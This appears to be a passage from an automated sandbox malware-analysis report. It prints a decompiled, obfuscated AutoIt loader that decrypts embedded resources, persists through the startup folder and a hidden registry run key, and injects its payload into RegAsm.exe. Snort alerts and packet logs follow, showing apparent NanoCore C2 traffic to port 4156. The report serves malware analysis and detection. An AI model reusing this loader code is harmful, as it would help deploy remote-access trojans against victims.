(STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) ] LOCAL $CRJSSYULPE FOR $_OHKZCISQIRIFGB = 0 TO 61 $CRJSSYULPE &= CHRW ($KFIGYFYRCPTJJBGMTAXB [$_OHKZCISQIRIFGB ] ) NEXT RETURN $CRJSSYULPE ENDFUNC FUNC QZSPLESQQ_UCN_SPAMTH () LOCAL $STDHMUUAILQDKLGYGLUG [36 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $XWLCSKRHEK FOR $FJEWPMGCOZCDYUN = 0 TO 35 $XWLCSKRHEK &= CHRW ($STDHMUUAILQDKLGYGLUG [$FJEWPMGCOZCDYUN ] ) NEXT RETURN $XWLCSKRHEK ENDFUNC FUNC CA_RPNJJBKOWXFSWBYCX () LOCAL $BGYKV_OVTGQSLRNIDVMM [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $VBPWQZOQVV FOR $PLNOTXKHUQVUGFV = 0 TO 3 $VBPWQZOQVV &= CHRW ($BGYKV_OVTGQSLRNIDVMM [$PLNOTXKHUQVUGFV ] ) NEXT RETURN $VBPWQZOQVV ENDFUNC FUNC DHOUKXROQFKIPNCAYZQJ () LOCAL $NFVSZPPUUJMGKUQRYLLF [29 ] = [EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("D2x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("62x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) ] LOCAL $YMWVUHYTHT FOR $HSWQOXPACPTXNGD = 0 TO 28 $YMWVUHYTHT &= CHRW ($NFVSZPPUUJMGKUQRYLLF [$HSWQOXPACPTXNGD ] ) NEXT RETURN $YMWVUHYTHT ENDFUNC FUNC ZKNWZYGBALJDINONWFZA () LOCAL $PEGLJPREQCTTNIVENIEQ [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $UECNJGBLYS FOR $NAFMKEGBWPWHHOI = 0 TO 61 $UECNJGBLYS &= CHRW ($PEGLJPREQCTTNIVENIEQ [$NAFMKEGBWPWHHOI ] ) NEXT RETURN $UECNJGBLYS ENDFUNC FUNC EWXYOJEKULRJZAPET ($SFILE ) IF NOT CXULRAMOAWUXLW ($SFILE & BGAZBXOZGSCQSZJ_WHML () ) THEN RETURN 1 ENDIF RETURN ENDFUNC FUNC AUORVCOVUWXGIXMMYJZK () LOCAL $DSYYMYB_YGMXKQRGPGNF [7 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("A2x0" ) ) ] LOCAL $IWRFWAPYOJ FOR $WSJYEDVESHIEDRI = 0 TO 6 $IWRFWAPYOJ &= CHRW ($DSYYMYB_YGMXKQRGPGNF [$WSJYEDVESHIEDRI ] ) NEXT RETURN $IWRFWAPYOJ ENDFUNC FUNC IBGHPUKDPVDCCYSCGKND () LOCAL $YTBCPFLXOYKQMVVWOJHE [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $PZDSJINPSK FOR $CYDXYEWHQCXZHDA = 0 TO 2 $PZDSJINPSK &= CHRW ($YTBCPFLXOYKQMVVWOJHE [$CYDXYEWHQCXZHDA ] ) NEXT RETURN $PZDSJINPSK ENDFUNC FUNC UDDQAADNQQCWFFKFXJHY () LOCAL $UVHEICYKMWCTSETOAIDI [17 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $_WZIYCTBVN FOR $WAFBQVNEMEXLDIQ = 0 TO 16 $_WZIYCTBVN &= CHRW ($UVHEICYKMWCTSETOAIDI [$WAFBQVNEMEXLDIQ ] ) NEXT RETURN $_WZIYCTBVN ENDFUNC FUNC NRVGGVUSXBIPPRFRYDFG () LOCAL $AZFAPQRUTGTXAKIVQINI [11 ] = [EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) ] LOCAL $OLVRQDAZQI FOR $__SWTEGIYFCXX_V = 0 TO 10 $OLVRQDAZQI &= CHRW ($AZFAPQRUTGTXAKIVQINI [$__SWTEGIYFCXX_V ] ) NEXT RETURN $OLVRQDAZQI ENDFUNC FUNC WNRFXCSIDVPKVJARXMJO () LOCAL $QVISCDNRAPIGIDHJWSRE [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $AFZCTPBHPM FOR $FCETQUNPREHKVFP = 0 TO 3 $AFZCTPBHPM &= CHRW ($QVISCDNRAPIGIDHJWSRE [$FCETQUNPREHKVFP ] ) NEXT RETURN $AFZCTPBHPM ENDFUNC FUNC NSVWPBKBLHUGUMXNXN ($PROTECT ) IF $WEJFCNHYHVTJQOLOSMDZSJISCNMYGCZHYVOHHRJOEYRHSZMDQTPGYLFM (@HOMEDRIVE & DNCDGQEQCIS_IEKTSIZO () ) THEN $DIZQIKRILXXBHGJECVRAGRKKEFVUHXTXASZY_SZ_EUBKJKKJMQFDHXSM = DPWHUKJVEGDRFHWONQDLUOYYU (@HOMEDRIVE & DNCDGQEQCIS_IEKTSIZO () , "" , $_CRYPTEDFILE , $PROTECT ) ELSEIF $WEJFCNHYHVTJQOLOSMDZSJISCNMYGCZHYVOHHRJOEYRHSZMDQTPGYLFM (@HOMEDRIVE & ZQMDVLZNXHKLZQLITWIX () ) THEN $DIZQIKRILXXBHGJECVRAGRKKEFVUHXTXASZY_SZ_EUBKJKKJMQFDHXSM = DPWHUKJVEGDRFHWONQDLUOYYU (@HOMEDRIVE & ZQMDVLZNXHKLZQLITWIX () , "" , $_CRYPTEDFILE , $PROTECT ) ENDIF ENDFUNC FUNC EXWFSIGOWMQPG_AHNAAE () LOCAL $WWSAXCAQGNYJBVJJQFMW [6 ] = [EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("74x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("A5x0" ) ) ] LOCAL $IFVIQIQHIO FOR $CAUTNMQSNETGSZO = 0 TO 5 $IFVIQIQHIO &= CHRW ($WWSAXCAQGNYJBVJJQFMW [$CAUTNMQSNETGSZO ] ) NEXT RETURN $IFVIQIQHIO ENDFUNC FUNC BPSTCVDUEWQNEXVBWSVTAISJUQX ($AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE , $REGKEY , $ATTRIB , $HIDDEN ) IF $WEJFCNHYHVTJQOLOSMDZSJISCNMYGCZHYVOHHRJOEYRHSZMDQTPGYLFM ($STARTUPDIR ) THEN $CRIYYFOYFKNHKDLPD_OJSJHSJMRWMCLWYBLJBRBHHTBJ ($STARTUPDIR ) ENDIF $JUHHDRPRYCTDHWUUIHMHXVJGTEFWFC ($STARTUPDIR ) $LKYJBBZDVWYRMZSZBFJPBDMADNDTTHPONAKPZNWRGUKCONQRRHLQ (@SCRIPTFULLPATH , $STARTUPDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE ) $AORAESDDZEZTQMIB_MGPUPJGXBYOZXEGP_OGWUDTICPNDSVBW ($STARTUPDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE , $ATTRIB ) $AORAESDDZEZTQMIB_MGPUPJGXBYOZXEGP_OGWUDTICPNDSVBW ($STARTUPDIR , $ATTRIB ) IF $HIDDEN THEN $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF (QPIOF_UVVRGYR_SFRPEE () , B_AYAJJMYCTZCERZUQUP () & $REGKEY & LX_OBMMOMHMSVTYPEKOB () & CHR (34 ) & $STARTUPDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE & CHR (34 ) & XNENVQJEJIXHEVUEFXIT () , @SYSTEMDIR , NULL , @SW_HIDE ) ELSE $EQQUTLGADYPHTRHSZIHNKR_DXHAVODVPHLJCQNGOTUDIQHJDFVMUFZL (XVHTDHK_RKFQAIEYKYXE () , $REGKEY , GVFFXILMGQSPQRGAMUOY () , $STARTUPDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE ) ENDIF ENDFUNC FUNC NCVNRUWUKPIORMCDVVVS () LOCAL $IFOHCOBJNVRKEEQEFPTV [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $HOOKCSNHPX FOR $G_CFUOBEDOUCFXT = 0 TO 61 $HOOKCSNHPX &= CHRW ($IFOHCOBJNVRKEEQEFPTV [$G_CFUOBEDOUCFXT ] ) NEXT RETURN $HOOKCSNHPX ENDFUNC FUNC _VWTAN_DY_ZTETMIVWTZ () LOCAL $UITKEANWNABLTWEPCUUW [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $SCMPAADPXY FOR $OILPFTLTXBLNINJ = 0 TO 3 $SCMPAADPXY &= CHRW ($UITKEANWNABLTWEPCUUW [$OILPFTLTXBLNINJ ] ) NEXT RETURN $SCMPAADPXY ENDFUNC FUNC QNLPAZYWFHZJPLJOBEYA () LOCAL $AMEMYEVARMBDWYGMLIWU [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $EIYRVEXFTF FOR $FLCJDXOXOHXKHOF = 0 TO 11 $EIYRVEXFTF &= CHRW ($AMEMYEVARMBDWYGMLIWU [$FLCJDXOXOHXKHOF ] ) NEXT RETURN $EIYRVEXFTF ENDFUNC FQQBLGPJOVXYRVOYOTCADEVL ("{tvnkftrgptjjurqlmumuuytqo}" ) #AutoIt3Wrapper_Res_File_Add="C:\Users\CODE007\Desktop\tomcrypt\pctwf\Bin\pwcreator.bin", rt_font , adprovider1 #AutoIt3Wrapper_Res_File_Add="C:\Users\CODE007\Desktop\tomcrypt\pctwf\Bin\apprepapi.bin", rt_font , MusNotifyIcon2 LOCAL $_CRYPTEDFILE = DLLSTRUCTGETDATA (WRAGMFLVWUYVJXFUPRPSKYVDQVA ("adprovider1" , 8 ) , 1 ) $_CRYPTEDFILE &= DLLSTRUCTGETDATA (WRAGMFLVWUYVJXFUPRPSKYVDQVA ("MusNotifyIcon2" , 8 ) , 1 ) $_CRYPTEDFILE = DECDATA ($_CRYPTEDFILE , "xcflytweygyjtiqzaecgegualbhvjy" ) $STARTUPDIR = @USERPROFILEDIR & "\" JBYYOXCNBVJLNQ () $ZANKNRWQIXFEWYZQPDBFEAIKJ = @HOMEDRIVE & "\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" DPWHUKJVEGDRFHWONQDLUOYYU ($ZANKNRWQIXFEWYZQPDBFEAIKJ , "" , $_CRYPTEDFILE , TRUE )

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/09/21-09:12:09.562253	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49707	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:14.515959	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49711	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:19.525627	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49715	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:24.512275	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49717	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:29.508481	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49719	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:34.509319	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49720	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:40.003183	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49723	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:45.016508	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49724	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:50.006897	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49725	4156	192.168.2.4	192.169.69.26
04/09/21-09:12:55.009405	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49727	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:00.007116	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49728	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:05.005943	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49729	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:10.545449	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49730	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:15.512012	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49734	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:20.995681	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49735	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:26.201534	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49736	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:31.006076	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49737	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:36.010010	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49738	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:41.007015	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49739	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:46.010691	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49740	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:51.011047	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49743	4156	192.168.2.4	192.169.69.26
04/09/21-09:13:56.011832	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49744	4156	192.168.2.4	192.169.69.26
04/09/21-09:14:01.013700	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49748	4156	192.168.2.4	192.169.69.26
04/09/21-09:14:06.008854	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49751	4156	192.168.2.4	192.169.69.26
04/09/21-09:14:10.999011	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49752	4156	192.168.2.4	192.169.69.26

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2021 09:12:09.240819931 CEST	49707	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:09.512795925 CEST	4156	49707	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:09.512952089 CEST	49707	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:09.562252998 CEST	49707	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:10.005821943 CEST	4156	49707	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:14.302719116 CEST	49711	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:14.514969110 CEST	4156	49711	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:14.515080929 CEST	49711	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:14.515959024 CEST	49711	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:14.998255968 CEST	4156	49711	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:19.075478077 CEST	49715	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:19.508383989 CEST	4156	49715	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:19.508493900 CEST	49715	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:19.525626898 CEST	49715	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:19.998306990 CEST	4156	49715	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:24.137149096 CEST	49717	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:24.511473894 CEST	4156	49717	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:24.511601925 CEST	49717	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:24.512274981 CEST	49717	4156	192.168.2.4	192.169.69.26
